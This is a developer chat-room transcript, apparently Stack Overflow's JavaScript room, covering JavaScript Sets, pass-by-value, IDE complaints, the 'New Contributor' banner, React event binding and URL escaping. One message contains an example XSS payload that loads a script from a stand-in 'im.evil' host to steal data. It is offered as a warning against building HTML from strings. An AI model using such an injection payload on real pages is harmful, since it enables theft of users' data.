« first day (2867 days earlier)      last day (2306 days later) » 

I currently have bookmarked https://www.ecma-international.org/ecma-262/
but will not be the latest one over a couple of months
@BenFortune I'm guessing they unified the declaration files generated by TypeScript as part of the build.
I did something similar for the MobX build a while back
you can do that with TS?
@KarelG No.
You do that outside of TS.
how?
08:03
Concat files
Didn't know they used gulp for building
@MadaraUchiha From what I can find, that file is edited manually
Is Set the "best way" to store an array of unique objects (middleware callbacks actually)?
yes
that is what Sets are for
but still
those callbacks, do you mean function objects?
anonymous functions can be stored twice though. Named functions not.
@KarelG Yes, references to function objects
@KarelG Are you sure? I just tried that, and worked
var mySet = new Set()
var fun1 = function () { return 1 }
var fun2 = function () { return 1 }
var fun3 = function () { return 1 }
mySet.add(fun1)
mySet.add(fun2)
console.log(mySet.size)
console.log(mySet.has(fun3))
08:21
Just checked: jsfiddle.net/1mqp97un
But you're not passing references in that example, those are just definitions
If you pass references, then those callbacks are gonna be unique, right?
Yeah, when you pass the callback reference for second time, it doesn't get registered... Now I wonder if I can check if I'm receiving a reference or direct assignment
direct assignment?
@Frondor You can't.
There's no pass-by-reference in JS, and there's no way to tell if the value you're getting passed is assigned to some variable or not
For example, what would you make of this:
let x;

mySet.add(x = () => 1);
that is a coding horror :P
not error. horror.
😱
Sure, but it's valid
08:34
Hm... So if I provide a public method to register middleware callbacks (express middleware), even if I use a Set object as registry, I can't ensure the developer has registered the same middleware multiple times unless I explicitly ask him in some sort of documentation not to pass anything if its not already defined? A reference?
@MadaraUchiha As far as I know, if you pass an object as a function param, you're actually passing its reference. You can mutate it from the child scope
@Frondor No, if you give it a public method that's defined on the constructor's prototype, it would be the same instance.
@Frondor It's a bit confusing, because there are two things that are called "reference"
Passing by reference would look something like this if JS supported it:
function withRef(&x) {
  x = 5;
}

let x = 6;
withRef(x);

console.log(x); // 5
You pass the reference to the value, and not the value itself.
This is one "reference" and is the one I mean when I say "pass-by-reference"
JS is always "pass-by-value", and the "value" of an object is also called its reference
That would be needed for primitives indeed, because you can't do that right now with such types. But if you pass an object, that's the default behavior, right?
Yeah, programmers and naming things...
@Frondor No
You can't reassign a variable inside of a function and have it affect the outside world.
reassign, that's the thing..
:thinking:
A function is an object that can be called
function foo() {}

const bar = foo;

bar === foo; // true
All of the rules of values and objects apply to functions as well in JS
A public method you set on a class, actually goes to the prototype of the constructor
So all methods on all instances of the same class have the same reference:
!!> class Foo { method() {} }; x = new Foo; y = new Foo; console.log(x === y, x.method === y.method)
No cap?
08:40
!!alive
just try it out in the console
@Frondor If you tried that code in your console, you'd see that it outputs false true
It does indeed
false because x is not y, but x.method is y.method
08:41
Dark magic
I don't like it
I had an idea in mind, but looks like I can no longer apply it because it won't work as expected
But thanks for that
that does not happen if you override the method with a subclass
class Bar extends Foo{ method(){} } -> do y = new Bar
output of the above console: false,false
So... If I need a registry of unique callbacks, the only guarantee I have that the dev is not passing the same callback twice is by only allowing him to pass named functions, and then use the callback .name. Then a Set is no longer needed
am I right?
Or at least, does that looks better than the Set approach?
@Frondor Yes.
You can do tricks to get an approximation
@MadaraUchiha What other trick would I need if I'm using callback names as identifier?
may I*
brb
@Frondor You can call .toString() on the function, and get the body
And compare that
(Don't do that)
08:50
you can write class objects with two functions, one task function (callback one) and one as a definition or symbol to distinguish these
reeee, my editor is in the cloud and the cloud is down
How can the cloud be down
that's the point of a cloud
@BenFortune That's called mist.
10/10 vscode, trying to intellisense a fucking tab
@BenFortune the SLA promises max 4h downtime per month
We're getting close to 3h rn :(
I just wanted to do this 'work' thing
09:03
a cloud editor sounds like the worst thing ever
forcing people into a proprietary tool
It's easy to use and has an intuitive gui
People have preferences
Some people like vscode, other people are wrong
5
Yeah, I'd like to combine VScode with cloud editor, like that ives van hoorne
is there no latency when using your editor?
@KarelG there is no latency in google docs, unless you hit ctrl + s
09:06
it does at my end. Depends of your typing speed I think
well, the browser is only as fast as the browser is but I have a fancy intel inside
opening a new file in your workspace is a backend request tho
09:25
I have to use intellij at work ...
sometimes it freezes when I search for class / file in the class search window
everytime when 3 characters got entered.
Yikes
That sounds horrid
Why do you have to?
@KarelG Linux?
@SomeGuy "consistency" among other teams
That's bull
and "one license for all"
true that. That is why I used double quotes
I secretly use ST when doing js fiddling
09:32
My condolences
hai guys
greetings
@KarelG Hahahaha that sounds so sad :P
i have a blocker, why document.execCommand('copy') returns false when i bind the event in right mouse button click
I am not able to copy selection to clipboard on right click
09:48
@KarelG for JS?
and java
visual studio for C#
I really like IntelliJ, just not for JS
well, for Java it should work quite well, doesn't it?
@GNi33 It's the best for Java AFAIK
I've tried the alternatives.
They're not even close.
I've tried most of them
and yeah, I'm with you on that
I tried vscode but apparently, I was not the only person with that idea. So our sys admin got instructed to filter out vscode stuff
09:49
I use PyCharm and PHPStorm as well
@KarelG wat
not my manager. That other manager is just stubborn
ah, that sucks
Is this for security policies or something?
JS indexing is just horrible in those IDEs
@SomeGuy gotcha refer you to that consistency and license stuff
dance dance dance
Sympathy RO coronation? :P
jk
good good
10:03
@KarelG How strong is your machine?
it is a custom laptop from BTO
@KarelG You may want to run Intellij with more memory given to the JVM instance
It's likely to solve your hanging/freezing issues
could be
Gotcha try that after lunch.
the laptop has 16GB RAM which should be sufficient
just noticed that my powershell process takes 500MB
._.
yet, the freeze only occurs when I want to search for classes/files
in general, it works fine
gz @KarelG
Yay, congrats on your promotion, @KarelG! One of us! One of us! One of us!
10:17
btw cerbrus, nina strikes again :)
Saw this interesting question : stackoverflow.com/questions/51947996/… her approach works though. But had to check it twice
@KarelG Why the fuck
Any basic ORM provides this functionality
congratz @KarelG
10:41
return eval(
Whaaaaaa no!
he was nice to put a warning though
:P
both answers are not correct though. Ben already pointed out that an ORM should handle it
11:39
aUniqApplications = aUniqApplications.splice(aUniqApplications.indexOf("NO_APP"), 1);
Does this return the value of splice (["NO_APP"]) or the rest of the array?
Lol and one would think I should know how to format code
hi who has a clue about three.js?
Q: I use trackballcontrols (or what ever for a camera control) - how can I get the "real" position of an object?

why I need this: You have a cube in the scene, when you rotate the camera, I want to draw a track (trail) behind the cube
nvm, I figured mine out :) oddly when having let aUniqApplications = [stuff] and then doing aUniqApplications.splice(aUniqApplications.indexOf("NO_APP"), 1);
aUniqApplications it is the array with NO_APP missing
that's not odd, that's intended
@BenFortune thx, I know splice returns what it splices, I was just confused
thats good then :)
11:45
don't forget that splice mutates
wym?
mutates the array on which it splices?
your original array will have it's values changed
Yeah, thats was what I was confused about. But thats also what I want
I prefer slice
That might look nicer in the code, more readable
slice is what I wanted splice to do
Lucky to have Fortune
on a different note, has anyone noticed the New Contributer message under posts by new users? I haven't found anything on meta nor the blog about it
11:57
56
Q: Come Take a Look at our New Contributor Indicator!

Tim Post This feature is now live across the network. We've been doing quite a bit of research into ways that we could help new users have better experiences that ultimately lead them to becoming increasingly valuable, long-term contributors to our sites. While this is still ongoing, it's starting to...

It's on the right sidebar
Not for me
No it is, for everyone.
yeah that...
obsolete
:) okay, thanks anway. didn't see it nad when I searched for "new contributer" it didn't show up
I always search on google for stack answers, because of that^
not many checks the meta though.
15
Q: What is that "New contributor" icon supposed to be?

billynoahI read through most of this thread but found no answers. What is this? Here are my best theories at the moment: A friendly hand waving and saying hi? A halting hand, warning old timers to be nice? A round of applause to encourage newcomers? Is this icon open to interpretation or is there ...

saw this question this morning
12:16
Loving the top answer there.
The other one sucks.
(jk +1)
"the code of conduct should appeal for everyone."
I don't think that's incorrect, but wouldn't "apply to everyone" be better?
hmm ... could be.
btw cap is down if you are not aware of that.
!!are you alive?
@rlemon I expect so
seems fine to me
could be that the pc was doing something weird
her logs indicate she's only been alive for a short while, but I haven't touched it since I got to work
12:25
madara tried to use her javascript interpreter chat.stackoverflow.com/transcript/message/43680291#43680291
2
A: Failure creating tenant

JamesLee-MSFTThe issue is caused by registering the Azure Sphere device in one tenant and then using a different tenant. This requires a reset and reregistration of the device using the correct tenant. Doug, the Product team has reset your device. If anyone else is facing this issue, please let me know. T...

never seen a MS employee answer a ticket on SO
this new contributor thing is obnoxiously annoying
join the club
@rlemon I think it's a good step in the right direction, although I disagree with putting it on the answer textarea
Your answer shouldn't change because the user is new. It makes more sense putting it on the user's card and when writing comments
blasting a message about how a user should be protected is just meh
@rlemon A reminder to be nice and that the user is new is not a negative thing for me.
12:38
> Take care in asking for clarification, commenting, and answering.
the message indicates I should do this because they're new
What annoys me isn't so much the UI as it is the one sided implication that "you need to be nice" is the solution here.
@rlemon You need to do this especially because they're new.
it not only send a weird message, it's being blasted out there with force
@MadaraUchiha I disagree with especially
we don't have different CoC for new and old users
don't baby the new guys, it's not a fire fight out there.
It's similar to "CHILD IN THE CAR" stickers people put on the car, as though you intended to smash into them before, but now that you've seen the sticker you'll avoid them.
rude and abusive content should be stopped no matter what
no one is disagreeing there
@rlemon The problem isn't blatant rudeness
The problem is snark and unfriendliness, even while remaining somewhat professional.
12:40
okay, that doesn't mean that new users need to be coddled. or that everyone needs to have 19 messages about it on one page
Those are now flaggable under the new comment flag options, but I don't mind users getting reminded.
The implementation should probably be tweaked
If you see this message on 80% of the new questions on the site you lost.
well we disagree there. I don't think the banners are needed at all. we had a banner for the CoC for everyone, and that was good enough
But as a general principle? I'm for it.
What I'm more pissed at is that while it is a step in the right direction in my opinion, it's not the low hanging fruit, it's a "false low hanging fruit"
I don't think it's arguable that Stack Overflow is not a very welcoming place at the moment (for better or worse).
I do think that it's the other side of the coin that's sorely missing
UI elements for new users to help them adjust and integrate better, not UI elements for regular contributors reminding them to be nice
Right now, the community is at an uproar at the implication that the fault lays with them, when feature requests for tools to help new users and old to better integrate have been sitting ignored for years.
This is a good step in general, but is currently adding fuel to the flames unnecessarily in my opinion.
I very much like this suggestion.
meh, I also disagree with his specific points in that
if the system changes so you have to explain every downvote, or go into detail with every edit, the people doing the leg work right now are going to stop
HAMMERTIME!
12:47
making it harder to maintain the site for the power users will just end in flames
in the same way they're angry that the blame is being put on them.. making them have to do more work for the solution isn't right
@rlemon His idea is that the difficulty for maintaining the site for power users would be maintained at about the same level, and providing more helpful feedback
But even just his suggestion about the first notification of its type can be helpful.
13:06
@MadaraUchiha he made very useful suggestions. Yet that needs more work from SE dev team.
To me, it should come from two sides. Yet I only see changes that impacts the regular users here. Nothing to guide the newcomers very well. I am aware of that proposal to write a new question in multiple steps so that a user is being guided to a decent or better question that I usually see nowadays.
what has happened with it?
13:24
@rlemon There is a reason my meta answer is doing pretty well...
@rlemon nice find. I am not aware of that.
Good day sir
how to set anti xsrf in my angular6 app?
whenever I'm sending request on my api?
how to set it globally?
thank you
shouldn't a token be set automatically?
I have a service that is responsible for getting the token
but I want it to be set on my http globally
13:40
it should be
Angular has that token built in
well, if you set the cookie of course
so, you probably won't have to do anything on your client side, but rather set the right cookie on your server application
@rlemon It's worth noting that this should be used rather sparingly
Especially in conjunction with libraries that require change detection like React.
It's nice to use in "on-demand" contexts like callbacks and event handlers, when you need the current value now, and don't need to be kept in sync with the screen size.
14:04
Hello! any one know Webrtc demo for screen sharing free
Thank you @GNi33
14:30
@rlemon you've never seen jonathansampson's answers from before 2017? he worked for MS on the IE and then Edge team before moving to work at Brave.
I'm aware of him, but I've never seen a ticket get answered on SO
@rlemon I solved this with #post-editor .new-contributor-indicator, form[id^="add-comment-"] .new-contributor-indicator { display: none; } applied to SO and SE domains in my Stylus add-on
oh, a ticket specifically
also I think I've maybe seen one of his answers less than a half dozen times
what he answers doesn't overlap with what I search
@TylerH That's a... brave move
zing
14:34
Hello sir @rlemon
I have a question
I have this code
great, don't ping me with it
this.myService.getName().subscribe((response: any) => {
            this.name = response.name;
        }, error => {
            console.log(`Something went wrong`);
        });

        console.log(this.name);
and I have this property outside my function name: string;
I'm having an error that says,undefined
but when I put console inside my subscribe, I get the value
any help sir?
I don't do angular, I don't do typescript, and I don't respond well to people targeting me with random questions because I once helped them in the past. next time ask the question to the room as a whole and don't ping individuals until they've started to engage with the question
sorry..
user1596138
-1
A: Setting state in a subcomponent of react-table closes component resetting all states with ReactJS

ColinI think this: <button onClick={this.toggleHidden.bind(this)} > should be: <button onClick={() => this.toggleHidden.bind(this)} > The way you have it at the moment, you're calling the toggleHidden function too often.

user1596138
14:46
Made me laugh
Please sir, can I have some more?
> Both codes you posted result in the exact same thing (
no they don't
user1596138
Sure they do
the proposed change doesn't call the handler
user1596138
The original code doesn't either.
14:48
passing a bound function will allow onclick to call it
{() => this.toggleHidden.bind(this)}
toggleHidden will never be called here
you're just creating a new function and doing nothing with it
user1596138
{this.toggleHidden.bind(this)}
user1596138
Same here. it won't be called.
it will when clicked
user1596138
{() => this.toggleHidden()}
user1596138
Also does the same thing.
user1596138
14:48
Right?
Hello Guys
@CodeQuestor Welcome to the JavaScript chat! Please review the room rules. If you have a question, just post it, and if anyone's free and interested they'll help. If you want to report an abusive user or a problem in this room, visit our meta.
user1596138
Oh shit
onClick={fn} <- fn will be called on click
onClick={() => fn} <- there is no path where fn is called
I have one doubt as i am newbie in javascript side
user1596138
14:49
So it's NEVER called then lmao
user1596138
It's still wrong. But I am wrong too.
user1596138
I'm only 2 sips into coffee. You're right
onClick={() => this.toggleHidden()} will work fine
user1596138
Yeah but onClick={() => this.toggleHidden.bind(this)} makes no sense
user1596138
It will never call the intended function
14:52
Yeah, I stay away from binding this, better to use arrow func and normal class features.
I am creating table using for loop and in each loop making the text as url as below:
txt_2 += "<td> <a href=\"" + url + "/\">" + "Sample" + "</a></td>";

On clicking the url it downloads one file from aws but when i click on this text in the table, the url is having amp; where attributes are concatenated at & character due to which on click the 'Sample' text it is giving error and not downloading the file
From the page: https://aerospike-qe-test.s3.us-west-1.amazonaws.com/Sample?AWSAccessKeyId=XYZ&amp;Expires=1534955149&amp;Signature=ababa

Original : https://aerospike-qe-test.s3.us-west-1.amazonaws.com/Sample?AWSAccessKeyId=XYZ&Expires=1534955149&Signature=ababa
Can i avoid url to have amp; from the page?
Hmmm
Who's up for some brainstorming?
We've started doing A/B tests on our React application, and after half-assing it for a while I invoked the rule of threes, and now I want to write a proper abstraction/flow for it.
Has anyone here done this before? Any insights? Ideas?
user1596138
@CodeQuestor &amp; is an HTML entity. I think you are asking how to decode it. That should give you enough info to find whatever solution fits your needs
@CodeQuestor Where does url come from?
Because if url = 'hello"><script src="https://im.evil/steal-your-data.js" /><a href="hello' you're going to get pwnd
user1596138
^
15:06
It comes from aws SignedURL api
@CodeQuestor Do yourself a favor and don't use strings to generate unsafe HTML
The DOM has APIs to create elements and modify their attributes, before appending them to the DOM
Don't use innerHTML unless you have absolutely no other option, and you know what you are doing and the consequences for that.
I am already trying this , lets see if i will get the success. Anyway thank you.
15:39
posted on August 22, 2018 by CommitStrip

user1596138
I hate commit strip
user1596138
Weak af
does anyone here have experience with electron-builder?
I feel like they're not worth the effort put into illustrating them lol
I think I'm going to start putting my resume out
I really enjoy my job and my co-workers but I feel seriously undervalued here
Dont wait then dude.
15:51
hmm ok I'll put some feelers out on LinkedIn ig
same here
user1596138
@forresthopkinsa connect?
user1596138
I have your email lol
yeah totally
my profile is outdated yeesh

« first day (2867 days earlier)      last day (2306 days later) »